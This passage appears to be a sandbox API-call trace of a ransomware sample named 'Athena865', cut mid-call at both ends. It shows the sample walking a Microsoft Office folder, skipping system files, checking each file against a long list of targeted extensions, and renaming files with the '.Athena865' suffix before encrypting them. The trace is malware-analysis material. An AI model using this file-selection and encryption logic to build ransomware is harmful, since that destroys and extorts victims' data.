(lpString="xmlff") returned 5 [0085.929] lstrcmpiW (lpString1="R.DLL", lpString2="xmlff") returned -1 [0085.929] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\STYLEMGR.DLL.Athena865") returned 65 [0085.929] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\STYLEMGR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\stylemgr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\STYLEMGR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\stylemgr.dll.athena865"), dwFlags=0x1) returned 1 [0085.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STYLEMGR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\stylemgr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0085.931] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=132488) returned 1 [0085.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.931] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.931] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.932] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.932] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.932] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20890, lpName=0x0) returned 0x154 [0085.933] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20890) returned 0x170000 [0085.940] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.941] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.941] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.942] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0085.943] CloseHandle (hObject=0x154) returned 1 [0085.943] CloseHandle (hObject=0x17c) returned 1 [0085.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.944] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12ca3000, ftCreationTime.dwHighDateTime=0x1cac1f1, ftLastAccessTime.dwLowDateTime=0x694b6370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12ca3000, ftLastWriteTime.dwHighDateTime=0x1cac1f1, nFileSizeHigh=0x0, nFileSizeLow=0x15f1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="subscription.xsd", cAlternateFileName="SUBSCR~1.XSD")) returned 1 [0085.944] lstrcmpiW (lpString1="subscription.xsd", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.944] lstrcmpiW (lpString1="subscription.xsd", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.944] lstrcmpiW (lpString1="subscription.xsd", lpString2=".") returned 1 [0085.944] lstrcmpiW (lpString1="subscription.xsd", lpString2="..") returned 1 [0085.944] lstrcmpiW (lpString1="subscription.xsd", lpString2="windows") returned -1 [0085.944] lstrcmpiW (lpString1="subscription.xsd", lpString2="bootmgr") returned 1 [0085.944] lstrcmpiW (lpString1="subscription.xsd", lpString2="temp") returned -1 [0085.944] lstrcmpiW (lpString1="subscription.xsd", lpString2="pagefile.sys") returned 1 [0085.944] lstrcmpiW (lpString1="subscription.xsd", lpString2="boot") returned 1 [0085.944] lstrcmpiW (lpString1="subscription.xsd", lpString2="ids.txt") returned 1 [0085.944] lstrcmpiW (lpString1="subscription.xsd", lpString2="ntuser.dat") returned 1 [0085.944] lstrcmpiW (lpString1="subscription.xsd", lpString2="perflogs") returned 1 [0085.944] lstrcmpiW (lpString1="subscription.xsd", lpString2="MSBuild") returned 1 [0085.944] lstrlenW (lpString="subscription.xsd") returned 16 [0085.944] lstrcpyW (in: lpString1=0x241e89e, lpString2="subscription.xsd" | out: lpString1="subscription.xsd") returned="subscription.xsd" [0085.945] lstrlenW (lpString="subscription.xsd") returned 16 [0085.945] lstrlenW (lpString="Athena865") returned 9 [0085.945] lstrcmpiW (lpString1="ption.xsd", lpString2="Athena865") returned 1 [0085.945] lstrlenW (lpString=".dll") returned 4 [0085.945] lstrcmpiW (lpString1="subscription.xsd", lpString2=".dll") returned 1 [0085.945] lstrlenW (lpString=".lnk") returned 4 [0085.945] lstrcmpiW (lpString1="subscription.xsd", lpString2=".lnk") returned 1 [0085.945] lstrlenW (lpString=".ini") returned 4 [0085.945] lstrcmpiW (lpString1="subscription.xsd", lpString2=".ini") returned 1 [0085.945] lstrlenW (lpString=".sys") returned 4 [0085.945] lstrcmpiW (lpString1="subscription.xsd", lpString2=".sys") returned 1 [0085.945] lstrlenW (lpString="subscription.xsd") returned 16 [0085.945] lstrlenW (lpString="bak") returned 3 [0085.945] lstrcmpiW (lpString1="xsd", lpString2="bak") returned 1 [0085.945] lstrlenW (lpString="ba_") returned 3 [0085.945] lstrcmpiW (lpString1="xsd", lpString2="ba_") returned 1 [0085.945] lstrlenW (lpString="dbb") returned 3 [0085.945] lstrcmpiW (lpString1="xsd", lpString2="dbb") returned 1 [0085.945] lstrlenW (lpString="vmdk") returned 4 [0085.945] lstrcmpiW (lpString1=".xsd", lpString2="vmdk") returned -1 [0085.945] lstrlenW (lpString="rar") returned 3 [0085.945] lstrcmpiW (lpString1="xsd", lpString2="rar") returned 1 [0085.945] lstrlenW (lpString="zip") returned 3 [0085.945] lstrcmpiW (lpString1="xsd", lpString2="zip") returned -1 [0085.945] lstrlenW (lpString="tgz") returned 3 [0085.945] lstrcmpiW (lpString1="xsd", lpString2="tgz") returned 1 [0085.945] lstrlenW (lpString="vbox") returned 4 [0085.945] lstrcmpiW (lpString1=".xsd", lpString2="vbox") returned -1 [0085.945] lstrlenW (lpString="vdi") returned 3 [0085.945] lstrcmpiW (lpString1="xsd", lpString2="vdi") returned 1 [0085.945] lstrlenW (lpString="vhd") returned 3 [0085.945] lstrcmpiW (lpString1="xsd", lpString2="vhd") returned 1 [0085.945] lstrlenW (lpString="vhdx") returned 4 [0085.945] lstrcmpiW (lpString1=".xsd", lpString2="vhdx") returned -1 [0085.946] lstrlenW (lpString="avhd") returned 4 [0085.946] lstrcmpiW (lpString1=".xsd", lpString2="avhd") returned -1 [0085.946] lstrlenW (lpString="db") returned 2 [0085.946] lstrcmpiW (lpString1="sd", lpString2="db") returned 1 [0085.946] lstrlenW (lpString="db2") returned 3 [0085.946] lstrcmpiW (lpString1="xsd", lpString2="db2") returned 1 [0085.946] lstrlenW (lpString="db3") returned 3 [0085.946] lstrcmpiW (lpString1="xsd", lpString2="db3") returned 1 [0085.946] lstrlenW (lpString="dbf") returned 3 [0085.946] lstrcmpiW (lpString1="xsd", lpString2="dbf") returned 1 [0085.946] lstrlenW (lpString="mdf") returned 3 [0085.946] lstrcmpiW (lpString1="xsd", lpString2="mdf") returned 1 [0085.946] lstrlenW (lpString="mdb") returned 3 [0085.946] lstrcmpiW (lpString1="xsd", lpString2="mdb") returned 1 [0085.946] lstrlenW (lpString="sql") returned 3 [0085.946] lstrcmpiW (lpString1="xsd", lpString2="sql") returned 1 [0085.946] lstrlenW (lpString="sqlite") returned 6 [0085.946] lstrcmpiW (lpString1="on.xsd", lpString2="sqlite") returned -1 [0085.946] lstrlenW (lpString="sqlite3") returned 7 [0085.946] lstrcmpiW (lpString1="ion.xsd", lpString2="sqlite3") returned -1 [0085.946] lstrlenW (lpString="sqlitedb") returned 8 [0085.946] lstrcmpiW (lpString1="tion.xsd", lpString2="sqlitedb") returned 1 [0085.946] lstrlenW (lpString="xml") returned 3 [0085.946] lstrcmpiW (lpString1="xsd", lpString2="xml") returned 1 [0085.946] lstrlenW (lpString="$er") returned 3 [0085.946] lstrcmpiW (lpString1="xsd", lpString2="$er") returned 1 [0085.946] lstrlenW (lpString="4dd") returned 3 [0085.946] lstrcmpiW (lpString1="xsd", lpString2="4dd") returned 1 [0085.946] lstrlenW (lpString="4dl") returned 3 [0085.946] lstrcmpiW (lpString1="xsd", lpString2="4dl") returned 1 [0085.946] lstrlenW (lpString="^^^") returned 3 [0085.946] lstrcmpiW (lpString1="xsd", lpString2="^^^") returned 1 [0085.946] lstrlenW (lpString="abs") returned 3 [0085.947] lstrcmpiW (lpString1="xsd", lpString2="abs") returned 1 [0085.947] lstrlenW (lpString="abx") returned 3 [0085.947] lstrcmpiW (lpString1="xsd", lpString2="abx") returned 1 [0085.947] lstrlenW (lpString="accdb") returned 5 [0085.947] lstrcmpiW (lpString1="n.xsd", lpString2="accdb") returned 1 [0085.947] lstrlenW (lpString="accdc") returned 5 [0085.947] lstrcmpiW (lpString1="n.xsd", lpString2="accdc") returned 1 [0085.947] lstrlenW (lpString="accde") returned 5 [0085.947] lstrcmpiW (lpString1="n.xsd", lpString2="accde") returned 1 [0085.947] lstrlenW (lpString="accdr") returned 5 [0085.947] lstrcmpiW (lpString1="n.xsd", lpString2="accdr") returned 1 [0085.947] lstrlenW (lpString="accdt") returned 5 [0085.947] lstrcmpiW (lpString1="n.xsd", lpString2="accdt") returned 1 [0085.947] lstrlenW (lpString="accdw") returned 5 [0085.947] lstrcmpiW (lpString1="n.xsd", lpString2="accdw") returned 1 [0085.947] lstrlenW (lpString="accft") returned 5 [0085.947] lstrcmpiW (lpString1="n.xsd", lpString2="accft") returned 1 [0085.947] lstrlenW (lpString="adb") returned 3 [0085.947] lstrcmpiW (lpString1="xsd", lpString2="adb") returned 1 [0085.947] lstrlenW (lpString="adb") returned 3 [0085.947] lstrcmpiW (lpString1="xsd", lpString2="adb") returned 1 [0085.947] lstrlenW (lpString="ade") returned 3 [0085.947] lstrcmpiW (lpString1="xsd", lpString2="ade") returned 1 [0085.947] lstrlenW (lpString="adf") returned 3 [0085.947] lstrcmpiW (lpString1="xsd", lpString2="adf") returned 1 [0085.947] lstrlenW (lpString="adn") returned 3 [0085.947] lstrcmpiW (lpString1="xsd", lpString2="adn") returned 1 [0085.947] lstrlenW (lpString="adp") returned 3 [0085.947] lstrcmpiW (lpString1="xsd", lpString2="adp") returned 1 [0085.947] lstrlenW (lpString="alf") returned 3 [0085.947] lstrcmpiW (lpString1="xsd", lpString2="alf") returned 1 [0085.947] lstrlenW (lpString="ask") returned 3 [0085.947] lstrcmpiW (lpString1="xsd", lpString2="ask") returned 1 [0085.948] lstrlenW (lpString="btr") returned 3 [0085.948] lstrcmpiW (lpString1="xsd", lpString2="btr") returned 1 [0085.948] lstrlenW (lpString="cat") returned 3 [0085.948] lstrcmpiW (lpString1="xsd", lpString2="cat") returned 1 [0085.948] lstrlenW (lpString="cdb") returned 3 [0085.948] lstrcmpiW (lpString1="xsd", lpString2="cdb") returned 1 [0085.948] lstrlenW (lpString="ckp") returned 3 [0085.948] lstrcmpiW (lpString1="xsd", lpString2="ckp") returned 1 [0085.948] lstrlenW (lpString="cma") returned 3 [0085.948] lstrcmpiW (lpString1="xsd", lpString2="cma") returned 1 [0085.948] lstrlenW (lpString="cpd") returned 3 [0085.948] lstrcmpiW (lpString1="xsd", lpString2="cpd") returned 1 [0085.948] lstrlenW (lpString="dacpac") returned 6 [0085.948] lstrcmpiW (lpString1="on.xsd", lpString2="dacpac") returned 1 [0085.948] lstrlenW (lpString="dad") returned 3 [0085.948] lstrcmpiW (lpString1="xsd", lpString2="dad") returned 1 [0085.948] lstrlenW (lpString="dadiagrams") returned 10 [0085.948] lstrcmpiW (lpString1="iption.xsd", lpString2="dadiagrams") returned 1 [0085.948] lstrlenW (lpString="daschema") returned 8 [0085.948] lstrcmpiW (lpString1="tion.xsd", lpString2="daschema") returned 1 [0085.948] lstrlenW (lpString="db-journal") returned 10 [0085.948] lstrcmpiW (lpString1="iption.xsd", lpString2="db-journal") returned 1 [0085.948] lstrlenW (lpString="db-shm") returned 6 [0085.948] lstrcmpiW (lpString1="on.xsd", lpString2="db-shm") returned 1 [0085.948] lstrlenW (lpString="db-wal") returned 6 [0085.948] lstrcmpiW (lpString1="on.xsd", lpString2="db-wal") returned 1 [0085.948] lstrlenW (lpString="dbc") returned 3 [0085.948] lstrcmpiW (lpString1="xsd", lpString2="dbc") returned 1 [0085.948] lstrlenW (lpString="dbs") returned 3 [0085.948] lstrcmpiW (lpString1="xsd", lpString2="dbs") returned 1 [0085.948] lstrlenW (lpString="dbt") returned 3 [0085.948] lstrcmpiW (lpString1="xsd", lpString2="dbt") returned 1 [0085.949] lstrlenW (lpString="dbv") returned 3 [0085.949] lstrcmpiW (lpString1="xsd", lpString2="dbv") returned 1 [0085.949] lstrlenW (lpString="dbx") returned 3 [0085.949] lstrcmpiW (lpString1="xsd", lpString2="dbx") returned 1 [0085.949] lstrlenW (lpString="dcb") returned 3 [0085.949] lstrcmpiW (lpString1="xsd", lpString2="dcb") returned 1 [0085.949] lstrcmpiW (lpString1="xsd", lpString2="dct") returned 1 [0085.949] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd.Athena865") returned 69 [0085.949] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd" (normalized: "c:\\program files\\microsoft office\\office14\\subscription.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\subscription.xsd.athena865"), dwFlags=0x1) returned 1 [0085.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\subscription.xsd.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\subscription.xsd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0085.950] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5617) returned 1 [0085.950] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.950] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.950] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.950] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.951] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.951] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.951] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1900, lpName=0x0) returned 0x154 [0085.968] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1900) returned 0x100000 [0085.986] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0085.987] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0085.987] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0085.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0085.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0085.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0085.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0085.987] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0085.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0085.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0085.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0085.988] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0085.988] CloseHandle (hObject=0x154) returned 1 [0085.988] CloseHandle (hObject=0x17c) returned 1 [0085.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0085.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0085.988] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0085.988] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd67f2aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xef98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SUMINFO.DLL", cAlternateFileName="")) returned 1 [0085.988] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0085.988] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0085.988] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2=".") returned 1 [0085.988] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2="..") returned 1 [0085.988] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2="windows") returned -1 [0085.988] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2="bootmgr") returned 1 [0085.988] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2="temp") returned -1 [0085.989] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2="pagefile.sys") returned 1 [0085.989] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2="boot") returned 1 [0085.989] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2="ids.txt") returned 1 [0085.989] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2="ntuser.dat") returned 1 [0085.989] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2="perflogs") returned 1 [0085.989] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2="MSBuild") returned 1 [0085.989] lstrlenW (lpString="SUMINFO.DLL") returned 11 [0085.989] lstrcpyW (in: lpString1=0x241e89e, lpString2="SUMINFO.DLL" | out: lpString1="SUMINFO.DLL") returned="SUMINFO.DLL" [0085.989] lstrlenW (lpString="SUMINFO.DLL") returned 11 [0085.989] lstrlenW (lpString="Athena865") returned 9 [0085.989] lstrcmpiW (lpString1="MINFO.DLL", lpString2="Athena865") returned 1 [0085.989] lstrlenW (lpString=".dll") returned 4 [0085.989] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2=".dll") returned 1 [0085.989] lstrlenW (lpString=".lnk") returned 4 [0085.989] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2=".lnk") returned 1 [0085.989] lstrlenW (lpString=".ini") returned 4 [0085.989] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2=".ini") returned 1 [0085.989] lstrlenW (lpString=".sys") returned 4 [0085.989] lstrcmpiW (lpString1="SUMINFO.DLL", lpString2=".sys") returned 1 [0085.989] lstrlenW (lpString="SUMINFO.DLL") returned 11 [0085.989] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\SUMINFO.DLL.Athena865") returned 64 [0085.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\SUMINFO.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\suminfo.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\SUMINFO.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\suminfo.dll.athena865"), dwFlags=0x1) returned 1 [0085.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SUMINFO.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\suminfo.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0085.991] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=61336) returned 1 [0085.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0085.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0085.991] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0085.991] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0085.992] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0085.992] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0085.992] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf2a0, lpName=0x0) returned 0x154 [0085.993] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf2a0) returned 0x100000 [0086.003] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0086.003] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0086.003] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0086.003] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0086.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0086.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0086.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0086.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0086.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0086.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0086.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0086.004] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0086.004] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0086.005] CloseHandle (hObject=0x154) returned 1 [0086.005] CloseHandle (hObject=0x17c) returned 1 [0086.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0086.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0086.005] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0086.006] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a54f200, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a54f200, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TaxonomyControl.dll", cAlternateFileName="TAXONO~1.DLL")) returned 1 [0086.006] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0086.006] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0086.006] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2=".") returned 1 [0086.006] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2="..") returned 1 [0086.006] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2="windows") returned -1 [0086.006] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2="bootmgr") returned 1 [0086.006] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2="temp") returned -1 [0086.006] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2="pagefile.sys") returned 1 [0086.006] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2="boot") returned 1 [0086.006] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2="ids.txt") returned 1 [0086.006] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2="ntuser.dat") returned 1 [0086.006] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2="perflogs") returned 1 [0086.006] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2="MSBuild") returned 1 [0086.006] lstrlenW (lpString="TaxonomyControl.dll") returned 19 [0086.006] lstrcpyW (in: lpString1=0x241e89e, lpString2="TaxonomyControl.dll" | out: lpString1="TaxonomyControl.dll") returned="TaxonomyControl.dll" [0086.006] lstrlenW (lpString="TaxonomyControl.dll") returned 19 [0086.006] lstrlenW (lpString="Athena865") returned 9 [0086.006] lstrcmpiW (lpString1="ntrol.dll", lpString2="Athena865") returned 1 [0086.006] lstrlenW (lpString=".dll") returned 4 [0086.006] lstrcmpiW (lpString1="TaxonomyControl.dll", lpString2=".dll") returned 1 [0086.007] lstrlenW 